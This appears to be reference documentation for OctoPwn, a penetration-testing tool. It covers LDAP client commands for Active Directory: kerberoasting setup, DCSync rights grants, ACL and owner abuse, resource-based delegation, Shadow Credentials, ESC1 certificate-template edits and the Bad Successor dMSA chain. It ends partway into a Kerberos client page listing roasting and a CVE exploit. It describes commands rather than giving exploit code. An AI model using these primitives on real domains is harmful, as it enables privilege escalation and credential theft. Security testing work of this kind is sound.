##### Parameters - **user_dn**: Full DN of the target user. - **newpass**: New password. - **oldpass** *(optional, str)*: Old password — required for self-service change, omit for admin reset. #### unlockuser Unlocks an account by setting `lockoutTime` to `0`. ##### Parameters - **user_dn**: Full DN of the locked user. #### enableuser Enables a disabled user by clearing the `ACCOUNTDISABLE` bit in `userAccountControl`. ##### Parameters - **user_dn**: Full DN of the user. #### disableuser Disables a user by setting the `ACCOUNTDISABLE` bit in `userAccountControl`. ##### Parameters - **user_dn**: Full DN of the user. #### addspn Appends an entry to the user's `servicePrincipalName` multi-value attribute. A common kerberoasting setup step (give yourself an SPN on a controlled account so it becomes kerberoastable, request the TGS, crack offline). ##### Parameters - **user_dn**: Full DN of the user. - **spn**: SPN to add (e.g. `MSSQLSvc/dummy.test.corp:1433`). #### delspn Removes an entry from the user's `servicePrincipalName` multi-value attribute. ##### Parameters - **user_dn**: Full DN of the user. - **spn**: SPN to remove. #### addusertogroup Adds a user to a group by appending the user's DN to the group's `member` attribute. Both arguments must be full DNs. ##### Parameters - **user_dn**: User DN. - **group_dn**: Group DN. #### deluserfromgroup Removes a user from a group. ##### Parameters - **user_dn**: User DN. - **group_dn**: Group DN. --- ### MACHINE #### machine Fetches a machine object by `sAMAccountName` (computer accounts end in `$`, but the trailing `$` is automatically appended by the underlying lookup if missing). Also decodes the `msDS-AllowedToActOnBehalfOfOtherIdentity` security descriptor to SDDL for resource-based-constrained-delegation analysis. ##### Parameters - **samaccountname**: The machine's sAMAccountName. #### computeradd Creates a new computer account, respecting MachineAccountQuota (so unprivileged users can usually create one — see [`maq`](#maq)). Returns the auto-generated computer name and password (which is also stored as a `Credential` in the OctoPwn credential store, tagged `LDAP-COMPUTERADD-`). ##### Parameters - **computername** *(optional, str)*: Desired sAMAccountName (without trailing `$`). If omitted, a random one is generated. - **password** *(optional, str)*: Desired password. If omitted, a random one is generated. #### addhostname Appends an entry to the computer account's additional-hostnames list (`msDS-AdditionalDnsHostName` / `servicePrincipalName`). Used for SPN-spoofing tricks during Kerberos-relay setups. ##### Parameters - **user_dn**: Full DN of the computer account. - **hostname**: Additional hostname to register. #### pre2000 Lists machine accounts that were created with the legacy "Assign this computer account as a pre-Windows 2000 computer" tickbox — `(&(userAccountControl=4128)(logonCount=0))`. These accounts famously have a known default password (the lower-cased machine name, no trailing `$`) and are a recurrent privilege-escalation primitive. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### computeraddr *(Listed under [ENUMERATION](#enumeration) — included in the MACHINE help group as well.)* #### changesamaccountname Changes the `sAMAccountName` of an arbitrary object by DN — used during the original noPac / sAMAccountName-spoofing attack chain. ##### Parameters - **dn**: DN of the object. - **newname**: New `sAMAccountName` value. #### domaincontrollers Lists every domain controller in the current domain (using `(&(objectCategory=computer)(primaryGroupId=516))`). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. --- ### GPO #### gpos Lists all Group Policy Objects (GPOs) in the domain — `displayName`, GPO GUID, file-system path (`\\\SYSVOL\…`), and `versionNumber`. #### gpohunt For a given user (or SID) — or the current bound principal if no argument is given — evaluates every GPO's security descriptor with the user's expanded `tokenGroups` and reports the **effective access mask** plus any directly-granted permissions on each GPO. Use it to find GPOs your token can write to (`GENERIC_WRITE`, `WRITE_DACL`, `WRITE_OWNER`, …) — the classical GPO-takeover preconditions. ##### Parameters - **username_or_sid** *(optional, str)*: A SID (`S-1-5-21-…`), a sAMAccountName, or a comma-separated `,,,…` blob to manually inject token groups. Defaults to the bound principal. --- ### LAPS #### laps Reads the legacy Microsoft LAPS attribute `ms-Mcs-AdmPwd` from every computer object visible to the bound principal (or a single machine if `machinesid` is given). Empty / no-permission entries are surfaced as ``. ##### Parameters - **machinesid** *(optional, str)*: Limit to a single machine by SID. Default: enumerate all. #### newlaps Reads the modern Windows LAPS attributes `msLAPS-Password`, `msLAPS-EncryptedPassword`, `msLAPS-EncryptedPasswordHistory`, `msLAPS-EncryptedDSRMPassword`, `msLAPS-EncryptedDSRMPasswordHistory`. Encrypted blobs are printed in hex; decryption requires the appropriate DPAPI keys and is not yet handled by this command. #### grantreadlapsrights Grants the named user / SID **read** rights on the legacy LAPS attribute (`ms-Mcs-AdmPwd`) of a target computer object by appending an `ACCESS_ALLOWED_OBJECT_ACE` with `READ_PROP | WRITE_PROP | CONTROL_ACCESS` over that specific schema attribute's GUID. ##### Parameters - **target_dn**: DN of the computer object. - **user_dn_or_sid**: DN or SID of the principal to grant rights to. --- ### GROUP #### groupmembership Fetches every group SID that the named DN is a transitive member of (via `tokenGroups`) and resolves each one to a DN. ##### Parameters - **dn**: DN of the user / computer. #### groupmembers Returns the members of a group (recursively by default). ##### Parameters - **dn**: DN of the group. - **recursive** *(optional, bool, default `True`)*: Whether to expand nested groups. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### dadms Lists every member of the **Domain Admins** group (recursive). Sugar around `groupmembers` for the `Domain Admins` SID (`-512`). #### privcheck Checks whether a given principal is a member (directly or indirectly) of any privileged AD group. Looks up against a cached set of privileged SIDs (built once by the implicit call to [`buildprivgroups`](#additional-commands)): builtin Administrators / Account / Server / Print / Backup Operators / Replicator + Domain Admins / Cert Publishers / Schema Admins / Enterprise Admins / Key Admins / Enterprise Key Admins, plus DnsAdmins / Certificate Operators by name. The lookup tries the local DB first (USERS then MACHINES tables, populated by the bulk fetchers) and falls back to a live `tokenGroups` query. ##### Parameters - **cid_dn_sid_sam**: A credential ID, SID, DN, or sAMAccountName. - **to_print** *(optional, bool, default `True`)*: Whether to print results. --- ### TRUSTS #### trusts Lists every domain trust (`trustedDomain` objects) and adds each trust target as a Target with `isdc=True` and the standard DC port set (389/88/445). Useful as the first step before pivoting across forests. #### dclist Heavy-weight DC enumeration that combines `(&(objectCategory=computer)(primaryGroupId=516))` for the local domain with a per-trust DNS-SRV lookup (`_ldap._tcp.dc._msdcs.`) to enumerate DCs across every trust as well. Resolves IPs through AD-integrated DNS for everything found. Returns a `{current_domain: [...], trusted_domains: [...]}` structure and prints a per-trust breakdown including direction (Inbound / Outbound / Bidirectional / Disabled), trust type (NT / AD / Kerberos / Azure AD), and decoded trust attributes (Forest Transitive, Within Forest, Cross Organization, Quarantined, PAM Trust, …). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. --- ### POLICY #### passpol Dumps the **default domain password policy** by reading the `domainDNS` object's `minPwdLength`, `pwdHistoryLength`, `maxPwdAge`, `minPwdAge`, `lockoutThreshold`, `lockoutDuration`, `lockOutObservationWindow`, `forceLogoff`, and `pwdProperties`. Decodes the FILETIME durations and the `pwdProperties` complexity flags (`DOMAIN_PASSWORD_COMPLEX`, `DOMAIN_PASSWORD_NO_ANON_CHANGE`, `DOMAIN_PASSWORD_NO_CLEAR_CHANGE`, `DOMAIN_LOCKOUT_ADMINS`, `DOMAIN_PASSWORD_STORE_CLEARTEXT`, `DOMAIN_REFUSE_PASSWORD_CHANGE`). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### pso Lists Fine-Grained Password Policies (Password Settings Objects) by querying `(objectclass=msDS-PasswordSettings)` under `CN=Password Settings Container,CN=System,`. For every PSO prints its name, all `msDS-*` policy fields with FILETIME durations decoded, and the list of objects the PSO applies to. Also prints a separate list of objects with `(msDS-PSOApplied=*)`. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. --- ### RECON #### entraid Finds Entra ID (Azure AD Connect) sync infrastructure by: 1. Searching for `MSOL_*` accounts (one per AD Connect connector) — extracts the source server hostname from the account's `description` (`computer configured`). 2. Searching for `ADSyncMSA*` accounts (group-managed service accounts used by AD Connect 2.x) — resolves their `msDS-HostServiceAccountBL` back to the actual host computer. 3. Resolving every discovered host to an IP via AD-integrated DNS and adding it as a Target. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### sccm Discovers SCCM / MECM (System Center Configuration Manager) infrastructure (PKI-Recon-1 technique). Looks at: - The `CN=System Management,CN=System,` container's DACL — every principal with full control (`0xF01FF`) on this container is an SCCM site server. Group SIDs are recursively expanded to find member machine accounts. - `(objectClass=mSSMSSite)` — actual SCCM site definitions with site code / assignment site code. - `(objectClass=mSSMSManagementPoint)` — every Management Point with `dNSHostName`, default-MP flag, and site code. Sites with no MP are flagged as **CAS** (Central Administration Site). - `(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)…)` — named SCCM-related users / computers / groups (the "did the admins literally name something sccm" pass). Every discovered server is added as a Target. Resolves hostnames via AD-integrated DNS. ##### Parameters - **recursive** *(optional, bool, default `False`)*: When `True`, group memberships in the named-objects pass are expanded recursively (`memberOf:1.2.840.113556.1.4.1941:=…`). - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### credattrs Sweeps every user for password-adjacent LDAP attributes — `info`, `userPassword`, `unixUserPassword`, `comment` — and prints every populated value. Optional grep filter applies to both the `sAMAccountName` and the value itself. ##### Parameters - **filter_str** *(optional, str)*: Optional substring filter. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### usercredsllm LLM-driven password discovery. Pulls every user with at least one populated `description` / `info` / `userPassword` / `unixUserPassword` / `comment` attribute, hands them to the configured LLM (via the `instructor` library — model and provider come from the project-wide LLM client), parses the structured `LLMUserPasswordAnalysis` response for password candidates, then **validates each candidate by performing an actual LDAP NTLM bind** against the DC. Valid passwords are stored in the credential store. Honours the domain lockout policy: schedules safe batches (`lockoutThreshold - 1`) and waits the lockout observation window between batches. ##### Parameters - **username** *(optional, str)*: Limit analysis to a single user. Default: scan everyone with populated attributes. - **batch** *(optional, bool, default `False`)*: Send all users to the LLM in a single batched call. Faster but consumes more tokens per request. - **login_timeout** *(optional, int, default `15`)*: Per-bind timeout in seconds. #### maq Prints the domain's `MachineAccountQuota` (read from `adinfo.machineAccountQuota` — no extra LDAP query). Anything > 0 means an unprivileged user can create that many machine accounts via [`computeradd`](#computeradd). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### obsolete Finds **enabled** machine accounts running end-of-life Windows versions (Server 2003 / 2008 / 2012, XP, Vista, 7, 8, 8.1) — `(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=**))`. Output includes `pwdLastSet` and `lastLogonTimestamp` so you can spot dormant boxes. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. --- ### SCHEMA #### schemaentry Fetches a single schema entry by DN (must start with `CN=` and live under the schema NC). ##### Parameters - **cn**: DN of the schema object. #### schemaentryname Fetches a single schema entry by attribute / class name (e.g. `ms-Mcs-AdmPwd`). ##### Parameters - **name**: The schema entry's `name` (or `lDAPDisplayName`). #### allschemaentry Iterates every schema entry — slow but useful for one-off offline analysis. --- ### SECURITY DESCRIPTOR #### getsd Fetches the security descriptor of a target object and prints it as SDDL. ##### Parameters - **dn**: DN of the target. #### setsd Replaces the security descriptor of a target object with a new one parsed from SDDL. ##### Parameters - **target_dn**: DN of the target. - **sddl**: New security descriptor as an SDDL string. #### changeowner Changes the **owner** of an object's security descriptor (or of one of its attributes' SDs when `target_attribute` is specified). Useful for the WriteOwner abuse path: take ownership → `setsd` to grant yourself the rights you want. ##### Parameters - **new_owner_sid**: SID of the new owner. - **target_dn**: DN of the target. - **target_attribute** *(optional, str)*: When set, change the owner of this attribute's SD instead of the object's main SD. #### addprivdcsync Modifies the **forest** security descriptor to add the two ACEs (`Replicating Directory Changes` + `Replicating Directory Changes All`) that grant DCSync rights to the named user. After this, the user can be used with the [DCEDRSUAPI client](./dcedrsuapi.md) to dump every secret in the domain. ##### Parameters - **user_dn**: DN of the user to grant DCSync to. - **forest** *(optional, str)*: Override the forest DN. Defaults to the current domain's distinguishedName. #### addprivaddmember Adds an `AddMember` extended-right ACE to a group's SD so the named user can append themselves (or anyone) to it without being `WRITE`-on-the-group. ##### Parameters - **user_dn**: DN of the user being granted the right. - **group_dn**: DN of the target group. #### addallowedtoactonbehalfofotheridentity Sets / appends to the target object's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute — the **resource-based constrained delegation** primitive. Returns the original SD blob in hex (or `None` if there was no prior value), which you should keep around for [`restoreallowedtoactonbehalfofotheridentity`](#additional-commands) cleanup. ##### Parameters - **target_dn**: DN of the target object (typically a computer account). - **other_identity_sid**: SID of the identity being allowed to delegate to the target (typically a controlled computer account from [`computeradd`](#computeradd)). #### add_genericwrite Appends an `ACCESS_ALLOWED_ACE` with `GENERIC_WRITE` over the target object's DACL, giving the named user `GenericWrite` on the target. Used as a building block for many AD attack paths. ##### Parameters - **targetdn**: DN of the object being modified. - **userdn**: DN of the user being granted the right. --- ### SID The five resolution helpers — every command takes a `to_print` flag. #### sid2dn Resolves a SID to a DN via `LDAP:///` syntactic search. ##### Parameters - **sid**: The SID string. - **to_print** *(optional, bool, default `True`)*: Whether to print the DN. #### dn2sid Reads `objectSid` from the named DN. ##### Parameters - **dn**: The DN. - **to_print** *(optional, bool, default `True`)*: Whether to print the SID. #### sam2dn Looks up the DN of the object with the given `sAMAccountName`. ##### Parameters - **sAMAccountName**: The sAMAccountName. - **to_print** *(optional, bool, default `True`)*: Whether to print the DN. #### dn2sam Reads `sAMAccountName` from the named DN. ##### Parameters - **dn**: The DN. - **to_print** *(optional, bool, default `True`)*: Whether to print the sAMAccountName. #### sidresolv Calls the `LsarLookupSids` equivalent through LDAP and prints `\`. ##### Parameters - **sid**: The SID. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. --- ### GMSA #### gmsa Lists every group-managed service account (`(objectClass=msDS-GroupManagedServiceAccount)`) and — for every gMSA the bound principal is allowed to read — fetches the `msDS-ManagedPassword` blob, decodes it to the gMSA's current password (cleartext) and NT hash, and stores the password as a `pwb64` credential in the OctoPwn credential store. Prints the list of allowed principals (the `PrincipalsAllowedToRetrieveManagedPassword` SDDL ACEs) for every gMSA so you know who can read what. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. --- ### PKI #### rootcas Lists every certificate in the **AIA / Root CA** container (`Root CAs` published in the configuration NC). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### ntcas Lists every certificate in the **NTAuth** container — these are the CAs the DC trusts for **client smartcard / PKINIT** authentication. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### aiacas Lists every certificate in the **AIA** container. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### enrollmentservices Lists every AD CS enrollment service (CA) registered in the configuration NC — name, DNS hostname, supported templates, and CA flags. Each CA is added to the OctoPwn Targets registry so it can be used by other clients (e.g. the certificate-enrollment HTTP/RPC tools). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### certtemplates Lists every certificate template, with its full security descriptor (resolved against a SID lookup table) and which enrollment service(s) publish it. Pushes the result to the GUI as `CERTTEMPLATES` so the Objects tab can render it. ##### Parameters - **name** *(optional, str)*: Limit to a single template by name. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### certify Identifies vulnerable certificate templates using the original `is_vulnerable` heuristic. For every vulnerable template prints the reason. If `username` is supplied, the user's `tokenGroups` are used to filter matches to templates *that user* can interact with. ##### Parameters - **username** *(optional, str)*: sAMAccountName of the user to check. Default: the bound principal. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### certify2 Updated Certify-style vulnerability check that uses the more recent `is_vulnerable2` analysis (per-vulnerability findings with `Reason` strings, ESC1 / ESC2 / ESC3 / ESC4 / ESC6 / ESC7 / ESC9 / ESC10 / ESC11 / ESC13 / ESC15 mapping). Pushes the result to the GUI as `CERTIFY2` for the Objects tab to render. Adds every involved enrollment-service host to the Targets registry. ##### Parameters - **username** *(optional, str)*: Override the principal whose `tokenGroups` are used. Default: the bound principal. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### addcerttemplatenameflagaltname Modifies `msPKI-Certificate-Name-Flag` on the named template to enable `ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME` (the **ESC1** abuse primitive). Optionally sets the flag value to a caller-provided integer instead. ##### Parameters - **certtemplatename**: Template name. - **flags** *(optional, int)*: If provided, set `msPKI-Certificate-Name-Flag` to exactly this value. If omitted, the existing value is OR-ed with `ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME`. #### addenrollmentright Grants enrollment rights (`READ_PROP | WRITE_PROP | CONTROL_ACCESS` over the `Certificate-Enrollment` extended-right GUID) on the named template to the user identified by DN. ##### Parameters - **certtemplatename**: Template name. - **user_dn**: DN of the principal being granted enrollment rights. --- ### DELEGATION #### unconstrained Lists machines and users with **unconstrained delegation** set (`TRUSTED_FOR_DELEGATION`). #### constrained Lists every object with **constrained delegation** set — for each one prints ` -> ` for every entry in `msDS-AllowedToDelegateTo`. #### s4u2proxy Lists every object set up for **S4U2Proxy** (the protocol-transition variant of constrained delegation — `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION`). --- ### DNS The DNS commands operate against **AD-integrated DNS** (the records stored in the `MicrosoftDNS` directory partition). Everything except `dnsdump` accepts the same `forest` / `legacy` flags that decide which copy of the zone to talk to. #### dnszones Lists every DNS zone known to AD-integrated DNS. For each zone prints the name plus its full property block (allow-update flag, secondary servers, etc.). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### dnsunsecure Detects zones that allow **non-secure dynamic updates** (`DnsZoneAllowUpdate = 1`) — a primitive for unauthenticated DNS-record injection. Also reports zones that are secure-only (`= 2`) and zones with updates disabled (`= 0`). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### dnsdump Enumerates every record in every zone (or in a single zone if `zone` is supplied) and writes them as TSV (`\t\t\t`) to `dns_.tsv` in the OctoPwn working directory. ##### Parameters - **zone** *(optional, str)*: Limit to a single zone. Default: dump all zones. #### dnsquery Queries the records of a single name in a single zone. ##### Parameters - **target**: The record name to query. - **zone** *(optional, str)*: Zone name. Default: derived from settings. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy `DC=DomainDnsZones,…` replica. #### dnsqueryall Same as `dnsquery` but enumerates every record in the zone. ##### Parameters - **zone** *(optional, str)*: Zone name. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy replica. #### dnsadd Creates a new A record. The change can take minutes to take effect because it has to replicate. ##### Parameters - **target**: Record name. - **ip**: IPv4 address. - **zone** *(optional, str)*: Zone name. Default: derived from settings. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy replica. #### dnsremove **Tombstones** an existing A record (sets the tombstone bit, the record disappears at next scavenging). ##### Parameters - **target**: Record name. - **ip**: IPv4 address being removed. - **zone** *(optional, str)*: Zone name. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy replica. #### dnsdelete **Hard-deletes** the directory object backing the record (vs. tombstoning). ##### Parameters - **target**: Record name. - **zone** *(optional, str)*: Zone name. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy replica. #### dnsmodify Replaces the IP for an existing record. ##### Parameters - **target**: Record name. - **ip**: New IPv4 address. - **zone** *(optional, str)*: Zone name. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy replica. #### dnsrestore Restores a previously-tombstoned record. ##### Parameters - **target**: Record name. - **zone** *(optional, str)*: Zone name. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy replica. #### dnsgetserial Returns the SOA serial number of a zone. ##### Parameters - **zone** *(optional, str)*: Zone name. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy replica. --- ### DMSA Delegated Managed Service Accounts (Server 2025) and the related "Bad Successor" abuse primitive. #### dmsas Lists every Delegated Managed Service Account (`(objectClass=msDS-DelegatedManagedServiceAccount)`). #### badsuccessor_check Checks for the **Bad Successor** primitive — a Server 2025 OU-level attack where any user with `GenericAll` / `GenericWrite` / `WriteOwner` / `WriteDacl` / `CreateChild` / `WriteProperty` / `ControlAccess` on an OU can create a dMSA and convince the KDC to issue tickets impersonating any user in the domain. Iterates every OU's DACL, filters out well-known privileged SIDs, and reports any non-privileged principal that can abuse the OU. Also lists every Server 2025 DC found in the domain (so you know whether the prerequisite is met). #### dmsaaddmanagedaccountprecededbylink Sets the `msDS-ManagedAccountPrecededByLink` attribute on a DMSA — a building block for the Bad Successor exploitation chain. ##### Parameters - **dn**: DN of the DMSA. - **managedaccountprecededbylink**: Replacement DN string. #### dmsasetdelegatedmsastate Sets the `msDS-DelegatedMSAState` attribute on a DMSA. ##### Parameters - **dn**: DN of the DMSA. - **delegatedmsastate**: Integer state value. #### create_broken_dmsa_user Creates a "broken" DMSA service user that, in conjunction with the Bad Successor primitive, can be used to escalate privileges. Do not use outside of an authorised engagement. ##### Parameters - **user_dn**: DN where the DMSA object will be created. - **computersid**: SID of the computer to associate the DMSA with. --- ### ANALYSIS #### vulncheck **Enterprise-only.** Runs the full registered LDAP-vulnerability check suite (`octopwn.enterprise.ldap_checks.base.CheckRegistry`) against the current connection. Each check produces zero or more `LDAPVulnerability` issues; results are pushed to the GUI as `LDAP_VULNERABILITY` so the **Vulns** tab can render them with severity, affected objects, and remediation hints. Returns the JSON-serialised list of issues. The check suite covers the standard AD-misconfig surface (PKI / ESC chains, LAPS, weak password policy, dangerous ACLs, signed-binding policy, unconstrained delegation, certificate templates, AD CS web enrollment, …). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to also print every issue to the console. --- ## Additional commands These are callable from the console but do not appear in the `help` output. Most are helpers that other commands call internally; a few are fully usable on their own. #### users / machines / groups Bulk fetchers that populate the session's local DB and stream results to the GUI's **Objects** tab. Each one streams in 1000-object chunks. If the DB already has data, the cached version is replayed unless `overwrite=True`. ##### Parameters (`users`, `machines`) - **overwrite** *(optional, bool, default `False`)*: Re-fetch from the server even if the DB is populated. - **fetch_token_groups** *(optional, bool, default `True`)*: Also fetch each object's `tokenGroups` (slower but lets [`privcheckall`](#privcheckall) work without further LDAP queries). ##### Parameters (`groups`) - **overwrite** *(optional, bool, default `False`)*: Re-fetch even if the DB is populated. #### privcheckall Runs [`privcheck`](#privcheck) over every object of the named storage type in the local DB (default `USERS`, also `MACHINES`). Uses cached `tokenGroups` so it is much faster than a live-LDAP scan. Results are themselves cached as `PRIVCHECKALL_` for future fast lookups. ##### Parameters - **key** *(optional, str, default `USERS`)*: Storage type to scan. - **force** *(optional, bool, default `False`)*: Re-run even if the cache is populated. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### buildprivgroups Builds the cache of privileged-group SIDs used by `privcheck` / `privcheckall`. Combines well-known SIDs (`S-1-5-32-544/548/549/550/551/552`), domain-relative RIDs (`-512/517/518/519/526/527`), and named groups (`DnsAdmins`, `Certificate Operators`). Persisted in the session DB as `PRIVGROUP`. ##### Parameters - **force** *(optional, bool, default `False`)*: Re-build even if the cache is populated. - **to_print** *(optional, bool, default `True`)*: Whether to print the table. #### lookupobj Looks up an object in the local DB by credential ID, SID, DN, or sAMAccountName. The storage type is the second positional argument. ##### Parameters - **cid_dn_sid_sam**: Identifier. - **key**: Storage type — `USERS`, `MACHINES`, `GROUPS`, etc. - **to_print** *(optional, bool, default `True`)*: Whether to print the matched object. #### resolvebasic Returns a `{sAMAccountName, objectSid, distinguishedName}` triple for the given identifier (credential ID / SID / DN / sAMAccountName). ##### Parameters - **cid_dn_sid_sam**: Identifier. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### bindtree Changes the tree (search base) used by `MSLDAPClient` for subsequent calls. **Dangerous** — switching to a tree outside the bound domain triggers a referral chase that can leak credentials to the wrong server. ##### Parameters - **newtree**: New base DN (e.g. `DC=test,DC=corp`). #### domains Alias for `adinfo(False)` — kept for backwards compatibility. #### sid2sam Same data as [`sidresolv`](#sidresolv) but returns just the `sAMAccountName` (without the `\` prefix). ##### Parameters - **sid**: SID. - **to_print** *(optional, bool, default `True`)*: Whether to print the username. #### addfullcontrolright Grants **`GENERIC_ALL`** to the named user / SID on a target object's DACL (the brute-force version of [`add_genericwrite`](#add_genericwrite)). ##### Parameters - **target_dn**: DN of the object being modified. - **user_dn_or_sid**: DN or SID of the principal. #### restoreallowedtoactonbehalfofotheridentity Cleanup helper for [`addallowedtoactonbehalfofotheridentity`](#addallowedtoactonbehalfofotheridentity). Restores the original `msDS-AllowedToActOnBehalfOfOtherIdentity` blob (passed as a hex string), or removes the attribute entirely when `original_sd` is omitted / empty. ##### Parameters - **target_dn**: DN of the target. - **original_sd** *(optional, str)*: Hex-encoded original SD blob (as returned by the original add command). Omit to delete the attribute. #### setkeycredentiallink Replaces the `msDS-KeyCredentialLink` attribute on a target object — the lower-level building block behind [`shadowcred`](#shadowcred). ##### Parameters - **targetdn**: DN of the target. - **keycredentiallink** *(optional, list)*: List of credential link strings. Pass an empty list (or omit) to clear the attribute. #### shadowcred The full **Shadow Credentials** attack: generates a self-signed certificate, packages it into a Key Credential Link, appends it to the target user's `msDS-KeyCredentialLink`, exports the matching PFX (password: `admin`), and stores it in the OctoPwn credential store as a `pfxb64` credential — usable directly with the [Kerberos client](./kerberos.md)'s `pfxb64` PKINIT auth or with this client's [`SSL`](#ssl-client-certificate-via-tls-or-starttls) auth. Returns the original Key Credential list so you can restore it later via [`setkeycredentiallink`](#setkeycredentiallink). ##### Parameters - **targetuser**: sAMAccountName of the target user. #### dnsquerya Resolves an FQDN to its A record(s) via AD-integrated DNS. Used internally by every command that needs to resolve a hostname (`targetenum --ldapresolve`, `dclist`, `entraid`, `sccm`, …). ##### Parameters - **fqdn**: FQDN to resolve. - **to_print** *(optional, bool, default `True`)*: Whether to print the addresses. #### dnsprobe Auto-detects the AD-integrated DNS layout (forest-wide vs. domain-wide, modern vs. legacy partition) by trying every combination against a known FQDN. Caches the result on the session — future DNS commands (`dnsquerya`, `dnsadd`, …) reuse the cache. ##### Parameters - **hostname**: A known-good FQDN to probe with. #### dnssoa Prints the SOA record of a zone. ##### Parameters - **zone** *(optional, str)*: Zone name. - **forest** *(optional, bool, default `False`)*: Use the forest-wide replica. - **legacy** *(optional, bool, default `False`)*: Use the legacy replica. #### subnets Fetches every machine account's IP via AD-integrated DNS, then groups the IPs into realistic CIDR ranges using a proximity heuristic (max gap and minimum prefix tunable). Useful as a quick "what subnets exist in this domain?" answer when there is no Sites & Services data. ##### Parameters - **max_gap** *(optional, int, default `256`)*: Maximum gap between consecutive IPs to keep them in the same subnet (default `256` ⇒ effectively `/24`). - **min_prefix** *(optional, int, default `16`)*: Minimum prefix length allowed (no `/8` results). #### test_login Helper used by [`usercredsllm`](#usercredsllm) — performs a one-shot LDAP NTLM bind with the given username/password (or NT hash) against the same target as the current session and returns success/failure. You probably want the [`sshlogin`](../scanners/sshlogin.md) / SMB equivalents in the **Scanners** category for actual credential-spraying. ##### Parameters - **username**: sAMAccountName. - **password**: Cleartext password — or a 32-character hex string (auto-detected as an NT hash). --- ## Limitations - **Pick the right `atype`.** `SIMPLE` is for OpenLDAP / 389 DS / non-MS LDAP; `NTLM` / `KERBEROS` is for AD; `SSL` is the cert-based path. The most common reason for a failed bind is mixing them up — see the [tip table](#authentication) above. - **No Global Catalog transport (yet).** Use `query` with `basedn` for cross-domain searches in the same forest, or open a separate session against `:3268`. - **`SIMPLE` over `LDAP` (389) is cleartext.** Use `LDAPS` (636) or `SSL`-over-`LDAP` (StartTLS) when you do not own the wire. - **`vulncheck` is Enterprise-only.** The `octopwn.enterprise.ldap_checks` module is not bundled with the community / WASM-pro distribution; the command will fail to import on those builds. - **`bloodhound` writes a ZIP to `work_dir`.** Make sure your working directory has space (large domains can produce hundreds of MB). - **DNS commands need the right `forest` / `legacy` setting.** Use [`dnsprobe`](#dnsprobe) once at the start of a session against a known FQDN — every subsequent DNS command will reuse the cached settings. - **`changeuserpw` raises `constraintViolation` on policy violations.** The exception is caught and a friendly explanation is printed (history, complexity, missing old password, lockout). Read it. - **`newlaps` does not decrypt encrypted blobs.** `msLAPS-EncryptedPassword` and friends are printed in hex; decryption requires DPAPI keys and is out of scope for this command. - **`bindtree` to a foreign domain leaks credentials.** Switching the search base to a DN outside the bound domain triggers a referral chase. Only do this with a credential you do not mind leaking. - **`fulldump` / `dump` write to disk in `work_dir`.** They do not stream — make sure the working directory has space. - **`dnsadd` / `dnsmodify` / `dnsremove` take minutes to propagate.** AD replication, not OctoPwn — be patient before assuming the call failed. - **Many commands take a DN and refuse anything else.** When in doubt, resolve with [`sam2dn`](#sam2dn) / [`sid2dn`](#sid2dn) first. --- # [Clients] Kerberos Source: https://docs.octopwn.com/plugins/clients/kerberos.html # Kerberos Client The **Kerberos Client** is OctoPwn's interactive console for talking directly to a Domain Controller's KDC (port 88) using [`minikerberos`](https://github.com/skelsec/minikerberos). It bundles the day-to-day ticket-acquisition primitives (`tgt`, `tgs`) together with the offensive Kerberos toolkit you need on an Active Directory engagement: roasting (`kerberoast`, `asreproast`), constrained-delegation abuse (`s4uself`, `s4uproxy`), PKINIT-to-NT recovery (`nt`), the Badsuccessor / dMSA attack (`dmsa`), the CVE-2022-33679 keystream-guessing exploit, and a vanilla KPASSWD password change (`changepassword`). Unlike most other clients, "logging in" here is essentially a no-op — the session just holds the credential and target you bound to it. The real network round-trip happens the first time you invoke a command. Most commands need a credential bound to the session; `asreproast` and `cve202233679` are the two notable exceptions (and even there, the latter still needs a session for *some* user, just one whose password is unknown). !!! info "Every command persists its result to the Credentials Window" Successfully executed commands write a new credential into the Credentials Window so you can pivot directly into other 